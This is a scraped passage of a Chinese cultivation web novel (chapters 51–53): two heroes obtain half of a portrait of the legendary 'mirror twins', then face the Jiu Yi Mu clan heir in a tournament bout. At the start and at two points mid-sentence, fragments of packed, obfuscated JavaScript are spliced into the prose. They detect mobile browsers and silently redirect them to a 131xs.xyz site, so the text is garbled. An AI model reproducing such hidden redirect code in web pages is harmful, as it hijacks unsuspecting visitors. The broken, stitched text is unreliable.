l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136679|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,看向有动静传来的方向。 不过三息,附近的树木就开始剧烈的震荡,随着呼啸的风动,一群正在快速向他们这里奔袭的人就落入了他们的眼中。 云修泽皱眉,认出了领头和其中的几个人。 这是参赛的一个人族队伍,实力总体来说也还算不错,可惜在二对二中以两胜两败一平局的战果退出了此次大比,不知为什么又出现在这里,一副逃命的样子,身上还或多或少都带了些伤。 他们明显看见了云修泽两人,却根本没有变换方向的意思,甚至扬手向两人的方向打出了一张符纸,符纸在空中迅速消散,取而代之的便是一个犹如金钟罩一般的透明结界,将两人困在这一片地方无法后撤,这下连明青都皱起了眉头。 云修泽反应很快,在结界还没完全形成的时候,果断双指一点,随之就有灵力在结界边缘爆开,只是没起上什么作用,看样子,也不是普通的结界。 云修泽冷下了脸,既然无法离开,两人就迅速做好了战斗的准备。 他们的速度很快,云修泽马上就发现了追在他们身后的是几条模样十分骇人的藤蔓,速度之快犹过于前面这几个人,恐怕不用等到他们来到云修泽和明青面前,就能被它们捉住。 远处也浮现了几个身影,是追击他们的人跟上来了。 那几个人目标明确的朝两人跑过来,身后的藤蔓也已经挨得很近,就在要撞上结界的一刹那,几人不知用了什么方法,迅速转了个方向,消失在了旁边的丛林中。 只不过跟在他们身后的藤蔓没能反应过来,速度极快,张牙舞爪的瞬间就撞碎了那个结界! 只破坏结界不够,以它们的速度和力量,毫无疑问就会和云修泽两人对上,无论怎样,总是能为那群人拖延一些逃跑的时间。 结界破碎带来的灵力震荡让云修泽两人晃了一下,但都迅速调整好了状态。 藤蔓上还长有择人而噬的花苞,一张一合的,长得丑,但看起来应该挺强。 在地面显然不好施为,两人迅速来到了空中,对视中,云修泽突然朝藤蔓撇了一眼,露出了一个阴恻恻的笑容,明青一愣,随即就明白了他的意思。 两人仗着轻功卓绝,在几根藤蔓中交叉穿梭,不过片刻的功夫,竟引得追击他们的藤蔓自发自打了个结,像无头苍蝇一般缠在一起扭来扭去,看上去竟有些可怜。 两人重新落地,见此情形,明青也不由得勾了勾嘴角,只说云修泽总是有些蔫主意,云修泽一笑,显然不以为意。 明青本来还带着点儿笑意,视线一扫,就突然发现刚刚他们讨论过的幼苗已经在这短暂的交锋中被彻底折断。 明青张了张嘴,瞬间就冷淡了下去。 追人的那群人靠近了,仔细一看,竟然还有熟人。 圭许朝身后几个同族做了个手势,那群九乙木就片刻停歇也没有,直接奔着刚刚那群人而去。 圭许自己则停在了两人面前。 他今日又恢复了往常的样子,长发微微遮眼,穿戴也以简单舒适为主,在人族看来,甚至还有些过于宽松。 云修泽皮笑肉不笑的和他打了个招呼。 “圭许少主。” 明青心情不佳,倒也冲他点了点头。 圭许向后微微扬手,原本还在那里扭来扭去的藤蔓就十分顺畅的解开了,有一条来到圭许面前蹭了蹭,随后就分别没入了不同的方向失去了踪迹。 圭许看了看两人,说道。 “受惊了,你们在这里做什么?” 云修泽眉头微微一挑。 “怎么?我们是误入了九乙木族的后花园吗?我们还想问问你们在做什么呢?” 圭许并不在乎他明显不友善的态度,念及两人刚刚被他们波及,自觉很有责任心的跟他们解释了两句。 “那群人来自一个没落的家族,他们有想要的东西来参加这个大比,结果打不赢,不知道从哪儿知道了我们族中有他们想要的东西,吃了熊心豹子胆来偷,被我们发现了,争夺的过程中东西却毁了,我们自然不能放过他们。” 想要的东西......九乙木...... 云修泽若有所思,他看了眼明青,明青也微微点头,于是便问道。 “他们想要的,是镜双子的地图吗?” 圭许并不意外他们能猜到,很干脆的说。 “没错,他们的家族就是因为偏执的追寻镜双子而没落的,没想到到了这个地步,居然还没放弃,竟还妄想着找到镜双子留下的东西一跃成为最顶尖的人物吗?” 圭许的语气有些嘲讽。 云修泽看着他,圭许知道他在想什么,于是主动说道。 “不是地图,我们族中也没有那个。” 明青在一旁问道。 “那他们到底想找什么?” 圭许看着她,眼眸在碎发的阴影下,像是有什么东西在其中浮动,他露出了一个有些诡异的笑容,嘴一张一合,清晰的说道。 “画像。” “镜双子的画像。” 51. 协济二十七 画像! 云修泽呼吸一窒,他之前去通神阁时还曾问过是否存有镜双子的画像,那里都没有,没想到他们竟然会有一幅。 明青上前一步。 “那幅画像已经毁了吗?” 说起这个,圭许的脸色就不太好看了。 “画像一直是族长持有,我都未曾见过,画像上两人一高一低,这次争夺中,瑶情的那半已经尽毁了,被他们拿在手里,尽管斜月这边保存完好,但也没什么用了,我奉命追击,若能追到拿回来,势必还要尝试复原。” 云修泽双手环抱,听到他的话暗中蹙眉,既然还有一人保存完好,又为什么说毫无用处呢? “那这么说,画像在你身上是吗?” 圭许歪了歪头。 “你们想看?自然可以。” 云修泽可不信他会这么好说话。 “你有什么条件?” 圭许看了一眼明青,语气平静的说道。 “我要你......” 歘——!!! 是褚闲与一条坚如磐石的藤蔓的碰撞声。 云修泽面露寒光,将明青挡在了身后。 藤蔓缓缓抽走,圭许把褚闲摁下去,坚持把话说完。 “......的血。” 云修泽一顿,虽没有继续展露攻击性,但面色还是很冷。 “那也不行,你既已说了,画像已是无用,竟还想用它来换她的血?” 圭许不慌不忙。 “对我们来说已经无用,对你们来说可不一定,要不要换是你们的选择,毕竟双子的画像,天下百不存一,你们想再遇见这样的机会,基本可以说是不可能了。” 云修泽神色不动,心中不断的在思考对策。 这时,明青从他背后按了按他的肩膀,走了出来,对圭许问道。 “你要多少?” 云修泽表情还是不赞同,明青没劝他什么,只是摇了摇头,见此,云修泽也只能相信她心中自有成算,没再说什么,只是抱剑向后退了两步,还是十分警惕的模样。 圭许对她露出了点儿笑意。 “一滴足矣。” “好。”明青干脆利落的答应了他的要求。 划破指尖,微微有些泛黑的血珠从伤口滚落,圭许手急眼快的用一个小玉瓶稳稳接了下来。 他捏着那个小玉瓶的瓶身,让它对准了光源,眯眼看了看,露出了满意的神色。 “画像。”明青提醒他。 圭许一边拿画像一边问道。 “你真的不考虑和我结为伴侣吗?” 明青悄悄看了一眼旁边的云修泽,见他的脸色有继续变冷的趋势,就说道。 “不考虑。” “好吧。”圭许并不强求。 云修泽的脸色也稍微回暖了一些,他走上前来和明青站在一起。 那幅画像边缘极不规整,看样子不是单纯的被撕裂,应该还用了什么术法。 两人一起将那幅画展开,映入眼帘的,就是一个穿着如火红衣的男子,或者说少年更为合适。 圭许说的没错,斜月这一部分被保存的很完整,能看见他散落的长发,向上伸出的手臂,劲瘦的腰肢,无可挑剔的身体比例。 就连左耳佩戴的血红圆珠的耳饰,垂下的流苏都十分清楚。 只不过。 这是一个背影。 云修泽微微蹙眉,怪不得他说没用了,再完整又如何,根本看不见一点面容,上面不规整的边缘处,还能看见翩然落下的红纱,以及一只向斜月伸去的纤纤玉手,应该是瑶情从高处落下,要投入斜月怀中的场景。 云修泽无语的问。 “既然都为他们画像了,怎么还有看不见脸的?” 圭许理所当然的说道。 “镜双子长得一般无二,仅有的分别也不过是男女之分,自然是画一个人的脸就够了。” 云修泽深吸一口气,忍住了想揪出画像师打一架的冲动。 “画像师可是你们族中的?” “不是。”圭许很明白的说,“这张画像的来处,目前还只有我们族长知道。” 明青摸了摸那半幅画,轻声说道。 “他们的感情看起来很好。” 圭许愣了愣,语气有些说不上来的奇怪。 “......是的吧......他们感情自然是好的,甚至曾有传言说他们兄妹罔顾人伦,不过肯定是假的就是了。” 明青有点兴趣,追问道。 “为什么肯定是假的?” 圭许想了想。 “我知道的也不多,不过镜双子本来就不屑于理会传言,以他们肆意妄为的性子,若是真的,肯定不会忌惮这天下悠悠众口,甚至可能四处宣扬,说那些话的人后来都被他们收拾了,想来肯定是假的了。” 云修泽暗中思索,总是听说他们性子狂傲,没想到已经到了连人伦纲常都不在乎的程度了吗?或者说,在别人眼里,他们肯定不会在乎。 这样的人一定极度自我,又为什么会给后人留下地图那样的线索,让人不断的去追寻、打扰他们呢? 恶作剧? 还是另有目的...... 圭许将画收好。 “我要走了,你们还有事儿吗?” 云修泽还沉浸在自己的思绪里,没有回答。 明青也没有说话,但眼神却不由自主的瞟了一眼已经被折断的幼苗,心中可惜的同时,也只能道这是它的天命。 圭许注意到了她的视线,顺着看过去,就看见了已经被折断的幼苗。 圭许一顿,很快就明白了过来这应该是刚刚那几条藤蔓做的孽。 察觉到明青微妙的情绪,圭许垂下了眼眸,左手冲着那颗断苗微微一抬,那颗本来已经生机断绝的幼苗就如同久旱逢甘霖,从断枝中又重新冒出了芽。 新苗在圭许的供养下不断生长,很快就长成了之前的模样,甚至瞧上去还要比原来粗壮三分,翠绿翠绿的,十分惹人怜爱。 明青双眼微微睁大,表情顿时鲜活的几分,她看向圭许。 圭许露出了点儿笑意。 “对它的弥补,也博错失之伴侣一笑。” “多谢。”明青冲他点点头。 圭许又看了一眼云修泽,才纵身向着刚才那群人跑走的方向追去。 明青回头看云修泽,就发现他神色幽幽的看着她,语气也颇为幽怨。 “明姑娘艳泽无双,倾慕者多如落雨,只可怜我与你同站,常被无辜波及,你回头看我,是为了看我有没有被成功淋成一只落汤鸡吗?” 明青顿时被他逗笑了,第一次毫无顾忌的展开笑颜,光影斑驳,落在她的笑颜之上,其中明媚,将她天生带有的冷淡都尽皆拂散。 云修泽双眼微微睁大,心跳骤然加快了几分,身体不受控向前挪动一步,像是想靠近她,又担忧将其惊扰。 就这片刻的犹豫,那笑容就如同雨后彩虹般消失在了她的脸上。 笑意还残留在眼中,明青看他一眼,就扭头去找踏风。 云修泽按了按心口,暗骂自己禁不住撩拨,平复一些后才敢追过去。 明青坐在马上,云修泽走在前方牵着缰绳,两人慢悠悠的往回走去。 云修泽:“你为什么要给他血?其实知道镜双子的模样对我们来说也只是锦上添花,有自然好,没有也不必非要将其取得,谁知他会用你的血做什么?” 明青道。 “他喜好研究毒,我的血中含有的毒素都是各种毒物的混合,十分复杂,就连思月,至今也没有完全将其分辨,而离我们交手也只剩四天时间,一滴,给他我们不亏。” 云修泽默然。 现在已经完成了两轮比试,最后一轮只剩了十支队伍,打的便是排名。 十进五,五进二,二进一,共有三场。 输了的或是轮空的,要再与其他的队伍对战来决定排名。 他们抽到的对手,第一场便是九乙木。 四天的时间,的确很是勉强,但云修泽还是不愿让她冒哪怕一丁点儿的风险。 可事已至此,也只有随机应变。 他们回了沁园,将剩下的三个人都叫了过来,说了刚才发生的事。 “镜双子的画像,九乙木族居然敢留?”唐思月挑眉,神色微妙。 云修云好奇道:“怎么样?是不是和传言一样好看?有思月好看吗?” 唐思月给了他一下,云修云揉了揉被打的地方,笑的不以为意。 云修泽无奈。 “我也不知道,斜月的那半根本没画脸,就是个背影。” “啊。”云修云大失所望。 云修泽倒是想过和他们一起追那群人,可转念一想,纵使那群人也得罪了他们,有个由头一起去追,但终归是九乙木族涉及到了秘辛的事。 圭许肯和他们说,一是因为他们所持有的那半张的确已经没什么价值了,二是对明青有所图,若是他们贸然参与进去,恐怕会被当场翻脸,到时候又是一场纠纷,得不偿失。 倒不如等之后他们复原,再尝试着谈谈,看能不能借来一观。 “你们觉得......”云修泽转了转手中的杯子。 “这画像,是单他们一族所有,还是四族皆有所藏?” 明青没有说话,四族之间的关系千丝万缕,既然九乙木族出现了镜双子的画像,她也无法保证白女狐族就真的没有,灵儿是否对他们完全坦诚也作另说。 唐思月沉吟片刻,说道。 “我觉得四族都有的可能性不大。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是啊。”唐思月看了一眼行愿,他正安静的听着,察觉唐思月看过来,扭头无声的询问,直到她又笑了笑,才回过头去继续听。 “被九乙木抓到还好说,若是被别人捷足先登了,可就不太好了。” 云修泽:“九乙木肯定不会把族中失窃消息散出去,就算有其他的消息渠道,知道的应该也不会那么快。” 唐思月叹气:“但愿吧。” 白界卧虎藏龙,除了被摆到明面上的这些,暗地里恐怕还有不少双眼睛。 “不说这个了。”云修泽又添了杯茶。 “我和明青刚刚回来的时候又找了一处地方,可供我们施展,明日等我回来,我们就去练练,商量一下不同的战术。” 几人都没什么意见,纵然他们之间一路走来已然算是默契,可面对强敌,多做准备总是没错的。 第二日,云修泽和行愿一起去打探那个没落家族的消息,明青、云修云和唐思月都聚在一起,各干各的事,或者切磋闲谈,只等两人回来。 三人一直等到中午,两人才从外面回来,云修泽蹙着眉,表情严肃。 几人都围过来坐在一起,唐思月小声的向行愿询问着什么,明青则迎上了云修泽,问道。 “怎么了?” 云修泽深吸一口气。 “他们死了。” 明青一下皱起了眉:“九乙木杀的?” 云修泽摇头,沉着脸,却不愿再说什么。 行愿接过话茬,说道。 “是被别人杀的,不知道是谁,尸体在边界的一个废弃的屋子里被发现,全都已经烧焦了,身上只依稀能分辨出有不少伤口,看不出是什么路数,画也不见了。” 几人静了一会儿,明青问。 “你们找过九乙木了?” 见行愿点头,明青陷入了沉思。 “...火......又是火......” 云修泽喃喃自语,不知道这究竟是巧合还是其中另有关联。 唐家是若是闻潺所为,这个又是为什么?还是说,这根本就是两个势力? 他捏着杯子的手指微微收紧。 “是我大意了,思月的担忧不无道理,若是我昨日立刻去查,恐怕事情还有转机。” 唐思月安慰道。 “事已至此,谁也想不到竟有人动作如此迅速,不过画像总归不是第一要紧的,我们现在也分不出那么多的精力去追查,还是要以大比为重。” 云修云也急忙说道。 “是啊,哥你就别多想了,等我们集齐的地图找到他们,还不是想怎么看就怎么看,真人总比画像强。” 明青也按上了他的肩膀,有些担忧的看着他。 云修泽转过头冲她勉强笑了笑。 “我没事,放心吧。” 他们说的对,尚有更重要的事情,至于画像,万事皆有因果缘法,也许只是时机未到。 52. 协济二十八 寅时末,卯时初。 云修泽收到了一封密信,快速过目了一遍,随后便有仆从从他的院子里分了三个不同的方向离去。 云修泽坐在床边,长发散落,身上只穿着里衣,显然是这封信将他从梦中唤醒。 他低垂着头,手中捏着这封展开的信,面无表情,陷入了沉思,直到外面有声响传来,他才如同被惊醒一般,快速的收拾了一番。 他来到正厅等待,最先到来的是云修云,突然被叫醒的他,纵然已经清醒,却也没有白日里那么有活力,他本想问什么,云修泽却在他开口前先一步止住了他的话头,示意等人来齐再说。 随即到来的是唐思月和行愿,唐思月的身上披着厚实的披风,可一路走来的凉风还是刺激的她的脸色微微泛白。 行愿住的地方和她紧紧相邻,此时与她一起前来,跟在她身后,本来就几乎听不到的脚步声和在唐思月的掩饰下彻底消失。 她的眼睛在兄弟两人身上转了个来回,默契的没有开口说话,云修云倚着一张方桌站在那里,她就在云修云身边的椅子上坐了下来,看着还不太清醒,一只手拄着额头,眼神满是倦怠。 正厅的门是敞开的,凉风从门口悄无声息的溜进来,行愿没有坐下,站在唐思月的椅子后面微微调整了身体,不动声色的挡下了那股微冷的风。 云修云也有些忧心她冷,用灵力温了些热水放到了她的手中。 四个人谁都没有说话,安静的等待着最后一人的到来。 不知道是不是明水心的刻意安排,明青的院子和云修泽住的院子最远。 她到来时,身上只穿了一件单衣,匆忙披着的外衣倒还算有些厚度,总体看上去还是有些单薄。 这一身其实并不怎么适合用来见人,因此云修泽也稍微愣了愣,随即心中就泛起了带着淡淡喜悦的涟漪。 明青的到来似乎成为了他回神的钥匙,他看着明青,同时也看到了她来时的天色,正是将明未明之时。 这个时辰还有些冷,她穿的有些薄了。 云修泽表情还木着,心中的思绪就毫不受影响的活络起来,当即就改变了主意,决定要带着几人去内室谈事。 他的眼神略过唐思月,注意到她微白的面色,很奇怪,他并不是不关心唐思月,只是在刚才的那种状态下,好像本能的没有察觉到,直到明青的到来。 他在心中自言自语,早该去里面的,小厮应该已经把床铺整理好了,桌子上也有新奉的茶水,行走在外,何须讲那么多规矩,我们之间,早已不必如此。 他们一路进了里面,果然要比刚才暖和许多。 明青给自己倒了杯茶,润了润口。 “怎么了?这个时辰。” 现在离他们平日里起身的时辰也不算远了,今日还是他们和九乙木打第一场的日子,有什么事需要将他们现在聚在这里? 云修泽将一封信放在了桌子上,修长的手指按着它,轻轻将它推到了桌子的中央,信纸的边缘还存有被揉捏的折痕。 “我收到了通神阁带来的消息,说实话,这个消息有些出乎我的预料。” 明青拿起信,剩下的三人就凑到了她身边。 明水心离去后,并不放心还待在这里的明青,通神阁的消息渠道来源数不胜数,她让人留意了白界的一切动静,一旦发生了什么,就会让阁中用来送信的灵鸟给他们送些消息。 她倒是想将消息直接传到明青手中,可无奈的是,阁中豢养的灵鸟,不论是否身具灵力,都无一敢靠近明青,更别提给她送信。 多年以来明水心给她递消息都是专门的找的人,纵使她外出历练,也可以告知当地的通神阁具体所在。 可这次是离家出走,就自然不会再乖乖给亲族报位置。 明水心这次碰巧在这里遇见她,也知道她现在就在沁园,可是由人送信和灵鸟送信,比起来总归是耗时过长,明青就干脆让明水心将消息递到云修泽这里来,对她来说,没什么差别。 明青一目十行的看完了这封信,眼神动了动,也没有开口。 唐思月拿走那封信,细细看的同时,表情变得有些耐人寻味,几人中,只有云修云捧场的轻轻惊叹了一声。 云修泽托着下巴。 “你们怎么想?” 明青轻抿双唇。 九乙木族在佘渊的领地在前夜被人袭击,闹了个天翻地覆,被损毁了将近五分之二。 四大妖族在佘渊都有自己的领地,但领地的位置一直都被隐藏的很好,除了他们本族的妖,也只有几个实力可以与他们比肩的大妖知晓,连通神阁都未曾探查到具体位置。 这次的暴露,只怕也是因为这突如其来的袭击,巨大的损耗让他们无暇顾忌,恐怕等一切落定之后,还会发生变化。 他们之前能进入白女狐的领地,也是被灵儿带领的缘故。 是谁?是谁或者是哪个组织能够做到一夜之间令四大妖族之一的九乙木族付出如此巨大的代价? 云修云:“是不是杀了那伙儿抢画像的人干的?” 云修泽轻轻一笑。 唐思月问道。 “他们已经拿走或者已经销毁了绘着镜双子容颜的画像,纵使是想要什么,也应该是冲着身在白界,拿着另半张画像的圭许去,他们为什么要冒着这么大的风险,去惹身在佘渊的巨擘之一?” 云修云歪歪脑袋,也想不出来是为什么。 唐思月接着猜测道。 “会不会是那伙人的同伴?他们既然能拿到那半张画像,就说明他们至少是知道九乙木族领地的位置的,能够将画像偷出来,哪怕没有成功,也能说明他们不是草包。” 唐思月沉吟片刻,不太确信的说。 “......复仇?他们把那群人的死算在了九乙木的头上?” 云修泽转头去看明青。 “你怎么想?” 明青缓缓开口。 “我觉得都不像,但我有一个比较大胆的猜测......” 她抬眼和云修泽对视,他带着微冷的笑意,默契促使着他们同时张口,一个名字在他们的声音中重合。 “——镜双子。” 一旁的云修云睁大了双眼,唐思月有些诧异,微微挑眉,行愿也投来了沉默的目光。 “怎么会?他们不是早就失踪了吗?而且有可能已经死了。”唐思月饶有兴趣的问到。 云修泽看向明青,进行了短暂的眼神交流。 你来说我来说? 明青抿了口茶水。 你来。 云修泽心领神会,开口道。 “其实思月之前说的不无道理,只是若他们的背后还有人,就像你说的,他们应该也没那个胆子为了这几个人去报复九乙木的,如果他们有这样的实力底气,再加上他们如此疯狂的追寻镜双子,就不会到现在还默默无闻。” 唐思月点了点头,其实她也知道复仇的理由有些牵强,只是一时间找不到更好的原因。 云修泽接着说道。 “世人皆传镜双子已死,为后人留下宝藏,可他们若真如所传那般顽劣,这份宝藏是真是假,是凶是吉,都有待考究,失踪也许只是他们单方面不愿让世人察觉到他们的踪迹,毕竟从未有人见过他们的尸身,直觉告诉我,他们还活着。” 云修云双手拄在椅背上。 “他们活着还能容忍这些地图和传言的流散?” 云修泽垂眸,手中拿着的杯子转了转。 “你焉知这不是他们专门准备的一场狩猎游戏?” 云修云想了想这个可能,立刻就表情复杂的打了个寒颤。 若真是如此,那镜双子必然还在暗处,观测着世人争先抢后落入他们陷阱的可笑模样。 “大胆的猜测。”唐思月感叹道,“但就凭这个?就算他们真的还活着,九乙木这个事,你们怎么就肯定是他们做的呢?” 明青:“其实也是个猜测。” 云修泽点头。 “镜双子禁止天下人流传他们的画像,以他们的报复心,得知九乙木族私藏他们的画像,是有很大可能这么做的,并且他们也有这个实力,不是吗?” 唐思月:“你也说了,他们报复心强,实力也强,若是按他们的性子,九乙木就不应该只损毁了现在这点儿,就算不到灭族之灾,恐怕也应该十去□□啊。” 这点儿?云修泽莞尔一笑,只怕人家族长听到要哭给你看了。 他带着些漫不经心的笑意,随口说道。 “说不定他们现在没有那个实力了呢?耗时这么长,准备一场狩猎游戏,就算是他们,恐怕也会变得没有耐心吧,那再换个角度来看,也许有什么逼得他们不得不进行这场狩猎游戏,重伤?又或者......一人死亡?” 随着他的话音落下,屋内变得寂然无声,云修云连呼吸都不自觉屏住。 唐思月故意开玩笑的抖了抖身体,她的手在胳膊上搓了搓,表情带着惊恐的说道。 “哇——老大,你好可怕啊!” “哈哈。”云修泽的表情被打破,变得鲜活起来。 刚刚冷肃的氛围也悄然化解。 其实还有一点云修泽没有说,也是他的隐忧。 他并不知道画像这个事还有多少人知道,如果佘渊的事真的是镜双子做的,他们是怎么这么快就得到消息的? 这里有他们的眼线?白界眼线众多的恐怕只有水妖闻潺,通神阁应该也有一部分势力,不是闻潺,如果他和镜双子合作,应该就不会费这么大功夫在地图上,不过也不是全然没有可能。 那......通神阁? 通神阁的阁主十分神秘,高层也鲜为人知,明水心是其中之一,如果通神阁真的和镜双子联手,她应该会干涉明青的行为,但若是她只是正好借这个机会来磨砺明青呢? 如果是那样,她应该是有信心明青不会在这个过程中受到伤害,至少不是致命伤,那么......会是通神阁吗? 如果都不是,这里也没有他们的眼线,那他们能这么快做出反应,就只有一种可能...... 云修泽眼眸微暗。 说明他们本人......就在白界...... 他轻轻嗤笑一声,如果真是那样,那可真是有够吓人的。 不过嘛,这一切都是建立在是他们动手的前提下,但云修泽的直觉告诉他,这就是真相。 “老大......” “......哥......大哥......” “修泽!” “什么?!”云修泽猛然惊醒,明青看着他,慢慢收回了放在他手臂上的手。 云修云:“哥,你又走神儿了,想什么呢?叫你半天了都。” “啊...哦哦......”云修泽迟钝的反应过来,说道。 “没什么,只是在想圭许的事。” 云修云奸诈一笑。 “嘿嘿,你是在想怎么报复他吗?报复他跟你抢明青姐。” 云修泽捏起盘子里的坚果反手就弹向了云修云,云修云早有预料,一个闪躲就避开了,还没等他开始得意,额头中心就被另一个不知什么时候飞来的坚果痛击。 “啊啊啊——我真是受够了!” 云修云痛苦的捂着额头,蹲下去绝望的喊着。 云修泽的嘴角微微勾起,又在云修云投来愤愤的目光时迅速压下,他轻咳了一声,正经的说道。 “你想些什么乱七八糟的东西,我是在想,九乙木本族受袭,圭许是不是也受了一定程度的影响。” 明青:“今日一看便知。” “嗯。”云修泽看向唐思月。 “思月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148922|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你的琴音有迷惑的功效,我没记错吧。” 唐思月颔首。 “没错,功效和白女狐、爻池仙都有类似,致幻类,就是以我的能力恐怕发挥不出他们的那种效果。” 云修泽:“足够了。” 他的手指轻轻敲击桌面。 “今天记得用,等你觉得时机合适的时候,只用在圭许身上,其余的你不必担心。” 唐思月点头。 他们说到现在,已经是卯时过半,外面的天色已然大亮。 云修泽叫人传了饭,回头说道。 “都在这吃吧,吃完顺便就一起走了。” 五人在擂台上重新见到了圭许,他的状态果然算不上好,脸色泛着青白,垂下的手细看还有些控制不住的抖动。 云修泽微微挑眉,受伤了?看来他前夜也在佘渊,今日赶回来,恐怕也是勉强。 他不动声色的去看唐思月,唐思月暗暗点头。 “第七洲。” 圭许身后的同族倒是个个都精神奕奕,同样不能掉以轻心,圭许没什么精神的瞥了他一眼,回道。 “九乙木。” 话音落下,视为开场,场下台上,为他们呐喊的声音分为两派,可无论多激烈的争吵都没能影响台上的他们。 数条藤蔓直冲他们面门,站着的云修泽四人为了躲避向不同的方向跳跃,被护在最后方的唐思月瞬间陷入了无人护持的险境。 他们的第一目标是唐思月! 圭许面无表情的想,尽管明青毒无效的体质十分棘手,可多人混战,首要需要消除的,还是对面的辅攻。 唐思月的本事他也知道,尤其是这种可攻可守,还有着不小干扰能力的辅攻手最为麻烦,不过好在她没什么近身作战的能力,只要能靠近,拿下她的几率就不算小。 由带着紫色尖刺的藤蔓在唐思月周围一圈拔地而起,迅速合拢成一个牢笼的模样将她困在其中,只需一声令下,便可将她绞杀! 圭许下意识看了一眼云修泽,却见他丝毫不慌,嘴角反而露出了一抹笑意,圭许蹙眉,凌厉的琴音骤然响起。 唐思月的琴音第一次在场上展示出如此强大的攻伐之意,瞬间就将困住她的牢笼绞了个粉碎,甚至还能有余音向他攻来。 圭许一边抵挡一边思考。 音修一道他所知不多,但基本的一些还是知道的,比如所有的手段中,攻伐之法最耗费灵力。 她这是干什么?一开场就毫不犹豫的用上了,含有的灵力还不算少,他特意让同族留了足够她投降的时间,这样也要留下来,剩下薄弱的灵力能干什么,拖后腿吗? 不过也正合他意。 那边云修云正和一个九乙木对打,他握住对面的大臂想给他来个过肩摔,却见对面露出了一个窃笑的表情,下一刻,他手中握着的手臂就变成了什么软绵绵滑溜溜的东西,从他的手中滑动。 那种奇异的触感瞬间就让云修云想到了各种毒蛇,身上汗毛都竖起来了,可他马上就意识到这不是什么毒蛇,而是对面将部分躯体本体化了,意识到的那一刻,他就紧急松开了手,他还记得不能被他们的本体划出伤口。 可是已经晚了,尽管他的速度很快,但还是受了伤,伤口不大,可云修云能感受到从这个小小伤口不断渗进来的阴冷的气息,瞬间就爬满了他的整个手臂,云修云咬牙,快速在肩膀上点了几下,同时掏出一枚解毒丹吞下,紧急阻止了它们继续蔓延。 那边明青抓住了机会,提着深流向圭许冲去,圭许的心神有很大一部分被行愿牵制着,此时分出一部分,控制着这几条藤蔓向明青刺去。 明青身法灵动,踩着不同快速袭来的藤蔓借力,在空中翻转前进,继续向圭许冲去。 脚下的藤蔓似乎带有腐蚀的功效,不过只要速度够快,接触面积不大就没有问题。 圭许向她伸手,似乎想要干什么,但马上闷哼一声,脸色霎时间变得更加苍白。 他果然受了伤。 圭许眼中闪过一丝狼狈,他已经无力阻挡明青,但可以逼她离开。 他的眼神凌厉,瞬间就有一条分枝冲着云修泽而去。 云修泽背对着他正和他的另一个同族缠斗,分不出手抵挡这次攻击,一旦击中,将会贯穿他的肩膀,毒素会在三个呼吸间蔓延他的全身,明青一定会放弃攻击他而去保全他! “噗呲!” 什么?! 圭许微微睁大双眼,不可置信的看着深流刺进自己的肩胛,越过她,他能看见那条藤蔓同样毫无偏差的刺进了云修泽的肩膀。 深流在他体内转动,疼痛将他唤醒,明青的表情冰冷,圭许有些不可思议的问她。 “你不要他的命了吗?” 余光中,他看到云修泽挣脱了藤蔓,并在几个回合间动作麻利地将他的同族扔下了台。 这怎么可能??? 那边云修泽拍拍手,转过身来要笑不笑的看着他。 圭许狠狠皱起眉头,心中惊动,云修泽也免疫他的毒?! 万千思绪只在一瞬,他的嘴微张,向明青吐了一口气,明青躲闪不及,皱了皱眉,抽剑回撤,又让圭许发出了一声痛哼。 她退到云修泽身边,短短几个呼吸间,体内竟让涌上一股陌生的燥热,她皱着眉,不受控制的踉跄了一步,云修泽扶住明青,眼神瞬间就变了。 明青微微吐息看向圭许。 “你的毒应该对我无效,一滴血,你做了什么?” 圭许捂着伤口,明青带来的伤口不止肩上的一个洞,随之呈网状在他身体里蔓延的,是与九乙木相克的剑气,痛感十分强烈,但听到她问话,还是严谨地回答道。 “这不是毒药。” 云修泽皱眉。 “那是什么?” 圭许一脸坦荡。 “是情药。” 53. 协济二十九 随着这三个字的出现,云修云明显察觉到他哥的脸色阴沉了下来。 他双眼一眯,知道云修泽这是生气了。 明青捂着口鼻喘息,没有想到自己前几天给他的一滴血竟然能被他发挥出如此出其不意的效果,还是小瞧了他在这方面的天赋。 她幼时曾经险些被人毒害而离世,所以父母为了以防万一才会给她喂养毒药,之后师傅又听说了这件事,也搞了许多只对修士有用的毒来,多管齐下,让她不止能百毒不侵,连自己本身的血也成了毒药,其复杂的程度,就连和她相处那么久的唐思月都没能完全搞清楚,没想到竟被圭许研究出了点门道。 虽说情药不算毒,但药性强烈还是让她难以支撑,必须要速战速决。 微弱的琴音响起,一声一声,由浅入深,以温和的姿态包裹了没有设防的圭许,直至声音在他耳边振聋发聩。 圭许的注意力一直在云修泽和明青身上,潜意识里没有防备唐思月,却没想被她抓住了这个空子,琴音干扰的他头痛欲裂。 唐思月盯着圭许,手上一刻不停的翻动,想起了上台前,云修泽的叮嘱。 ‘留下干扰他的灵力,其余的,全力以赴用来自保。’ 此时在圭许的眼里,世界天旋地转,只有唐思月的身影越来越清晰,越来越近,好像只有一个,又好像有无数个,在他的四面八方弹奏着同样的曲调,任他怎么捂住耳朵,封闭听觉都没有用,几乎将他逼疯。 她没有被面纱遮住的眉眼越来越清晰。 “你......是你......!!!” 他紧咬着牙关,眼睛陡然变成了尖锐的竖瞳,不分敌我的发疯般操纵着藤蔓向四周攻击那些幻象。 他似乎把唐思月认成了谁,心神大乱,云修泽趁此机会欺身上前,掐住他的下颚,狠狠将他掼在了地上。 台面崩裂,圭许也因为这一下逃脱了幻象,眼神重新清明起来。 